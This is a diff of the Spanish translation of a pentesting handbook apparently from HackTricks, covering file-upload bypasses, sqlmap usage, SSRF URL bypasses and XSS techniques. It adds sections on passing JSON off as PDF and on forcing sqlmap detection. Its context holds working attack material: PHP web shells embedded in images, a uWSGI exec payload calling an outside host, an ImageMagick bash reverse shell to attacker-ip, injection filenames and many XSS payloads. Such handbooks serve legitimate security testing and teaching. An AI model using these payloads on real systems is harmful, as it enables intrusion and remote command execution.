+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
 # Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -61,9 +61,9 @@ AAA<--SNIP 232 A-->AAA.php.png

 ### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento

- Eludir las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
+- Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
 1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Eludir la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\
+- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` o también podrías **introducir la carga directamente** en una imagen:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
@ -98,13 +98,13 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para

 ## **Jetty RCE**

-Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
+Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!

 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)

 ## **uWSGI RCE**

-Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

 Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.

@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para que se recargue automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
+La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.

 Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.

@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================

 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
+Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.

 ## Herramientas

@ -164,14 +164,14 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v

 ## De la carga de archivos a otras vulnerabilidades

- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal**
+- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta**
 - Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL**
 - Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
 - Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
 - [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
+- **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
+- [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 - Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner

 Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivos.

-### Carga de archivo Zip/Tar descomprimido automáticamente
+## Carga de archivo Zip/Tar descomprimido automáticamente

 Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:

-#### Symlink
+### Symlink

 Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
 ```
@ -287,7 +287,7 @@ viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Incrustación de Shell PHP en PNG
+## Incrustar Shell PHP en PNG

 Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.

@ -305,6 +305,14 @@ A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo,

 Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

+### Subir JSON válidos como si fuera PDF
+
+Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido al falsificar un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+
+- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post)
+- **`pdflib` library**: Agregar un formato PDF falso dentro de un campo del JSON para que la biblioteca piense que es un pdf (obtener ejemplo del post)
+- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Solo crea un JSON más grande que eso para que no pueda analizar el contenido como un json y luego dentro del JSON pon la parte inicial de un PDF real y pensará que es un PDF
+
 ## Referencias

 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
 - [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@ -58,7 +58,7 @@ sqlmap -r req.txt --current-user
 sqlmap -u "http://example.com/?id=1" -p id
 sqlmap -u "http://example.com/?id=*" -p id
 ```
-### Inyección de Solicitudes POST
+### Inyección de Solicitud POST
 ```bash
 sqlmap -u "http://example.com" --data "username=*&password=*"
 ```
@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 ```bash
 --string="string_showed_when_TRUE"
 ```
+### Agregar técnica de detección
+
+Si encontraste un SQLi pero sqlmap no lo detectó, puedes forzar la técnica de detección con argumentos como `--prefix` o `--suffix`, o si es más complejo, añadiéndolo a los payloads utilizados por sqlmap en `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, por ejemplo, para basarse en time blind.
+
 ### Eval

-**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada payload antes de enviarlo con un oneliner de python. Esto facilita y acelera el procesamiento de maneras personalizadas del payload antes de enviarlo. En el siguiente ejemplo, la **sesión de cookie de flask** **es firmada por flask con el secreto conocido antes de enviarla**:
+**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada payload antes de enviarlo con alguna línea de código en python. Esto facilita y acelera el procesamiento de maneras personalizadas del payload antes de enviarlo. En el siguiente ejemplo, la **sesión de cookie de flask** **es firmada por flask con el secreto conocido antes de enviarla**:
 ```bash
 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 ```
@ -159,7 +163,7 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
 | halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave                                                                |
 | ifnull2ifisnull.py           | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'                                                                |
 | modsecurityversioned.py      | Envuelve la consulta completa con un comentario versionado                                                                          |
-| modsecurityzeroversioned.py  | Envuelve la consulta completa con un comentario de versión cero                                                                     |
+| modsecurityzeroversioned.py  | Envuelve la consulta completa con un comentario de cero versión                                                                     |
 | multiplespaces.py            | Agrega múltiples espacios alrededor de las palabras clave SQL                                                                        |
 | nonrecursivereplacement.py   | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (por ejemplo, .replace("SELECT", "")) filtros |
 | percentage.py                | Agrega un signo de porcentaje ('%') delante de cada carácter                                                                        |
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
@ -5,6 +5,7 @@
 ### Localhost
 ```bash
 # Localhost
+0 # Yes, just 0 is localhost in Linuc
 http://127.0.0.1:80
 http://127.0.0.1:443
 http://127.0.0.1:22
@ -159,7 +160,9 @@ La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede gener

 Consulta la [**hoja de trucos para eludir la validación de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) de portswigger donde puedes introducir el host permitido y el del atacante, y generará una lista de URLs para que pruebes. También considera si puedes usar la URL en un parámetro, en un encabezado Host o en un encabezado CORS.

-{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
+{{#ref}}
+https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
+{{#endref}}

 ### Bypass a través de redirección

@ -196,7 +199,7 @@ El _truco de barra invertida_ explota una diferencia entre el [WHATWG URL Standa

 ### Corchete cuadrado izquierdo

-El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
+El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)

 ### Otras Confusiones

--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -13,7 +13,7 @@
 4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md).
 5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Dentro de una **etiqueta HTML**:
-1. ¿Puedes salir al contexto HTML crudo?
+1. ¿Puedes salir al contexto de HTML crudo?
 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
 3. ¿El atributo donde estás atrapado soporta la ejecución de JS?
 4. ¿Puedes eludir protecciones?
@ -24,10 +24,10 @@
 4. ¿Puedes eludir protecciones?
 4. Función de Javascript **siendo ejecutada**
 1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)`
-4. Si **utilizado**:
+4. Si está **utilizado**:
 1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**

-Al trabajar en un XSS complejo, podría ser interesante saber sobre:
+Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:

 {{#ref}}
 debugging-client-side-js.md
@ -48,7 +48,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
 ### HTML crudo

 Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
-Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
+Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).

 ### Dentro del atributo de etiquetas HTML

@ -161,12 +161,12 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar qué etiquetas** puedes crear.\
-Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
+Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar por fuerza bruta qué etiquetas** puedes crear.\
+Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.

 ### Fuerza bruta de etiquetas/eventos

-Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
+Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar por fuerza bruta todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).

 ### Etiquetas personalizadas

@ -233,24 +233,24 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-The last one is using 2 unicode characters which expands to 5: telsr\
-More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
-To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
+Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr\
+Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
+Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).

 ### Click XSS - Clickjacking

 Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prepopulados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).

-### Impossible - Dangling Markup
+### Imposible - Marcado Colgante

-Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
+Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.

-## Injecting inside HTML tag
+## Inyectando dentro de la etiqueta HTML

-### Inside the tag/escaping from attribute value
+### Dentro de la etiqueta/escapando del valor del atributo

 Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\
-Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
+Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -351,7 +351,7 @@ _**En este caso, el truco de codificación HTML y el truco de codificación Unic
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
+Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de que se ejecute.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS en "Etiquetas no explotables" (input oculto, enlace, canónico, meta)
+### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónica, meta)

-Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de inputs ocultos con:**
+Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -430,7 +430,7 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):

 ### Bypasses de lista negra

-Varios trucos utilizando diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
+Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**

 - **Codificación HTML (etiquetas HTML)**
 - **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@ -486,12 +486,12 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se en
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-### Template literals \`\`
+### Literales de plantilla \`\`

-Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
-Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
+Para construir **cadenas** además de comillas simples y dobles, JS también acepta **comillas invertidas** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
+Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando comillas invertidas, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:

-Esto puede ser **abusado** usando:
+Esto se puede **abusar** usando:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@ -510,7 +510,7 @@ loop``
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Ejecución de JS con codificación Unicode
+### Ejecución de JS codificada en Unicode
 ```javascript
 alert(1)
 alert(1)
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**Comentarios de JavaScript (del** [**trucode Comentarios de JavaScript**](#javascript-comments) **)**
+**Comentarios de JavaScript (del** [**truco de Comentarios de JavaScript**](#javascript-comments) **)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)**
+**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@ -749,7 +749,7 @@ dom-xss.md
 Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
 Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).

-### Mejora de Self-XSS
+### Mejorando Self-XSS

 ### Cookie XSS

@ -767,7 +767,7 @@ Quizás un usuario pueda compartir su perfil con el administrador y si el self X

 ### Reflejo de Sesión

-Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú estás viendo en tu sesión pero desde su sesión.
+Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú ves en tu sesión pero desde su sesión.

 Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cookies/sesión.

@ -788,7 +788,7 @@ Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)),
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-El par "Key","Value" se devolverá así:
+La pareja "Key","Value" se devolverá así:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@ -828,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)

 Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil.

-En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
+En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
 Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.

 ### Solo letras, números y puntos
@ -869,9 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```html
 <script type="???"></script>
 ```
-La respuesta es:
-
- **module** (por defecto, nada que explicar)
+- **módulo** (por defecto, nada que explicar)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
 ```html
 <script type="webbundle">
@ -917,22 +915,22 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
 }
 </script>
 ```
-### Web Content-Types to XSS
+### Tipos de Contenido Web para XSS

-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
+(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:

 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
+- text/plain (?? no está en la lista pero creo que vi esto en un CTF)
+- application/rss+xml (apagado)
+- application/atom+xml (apagado)

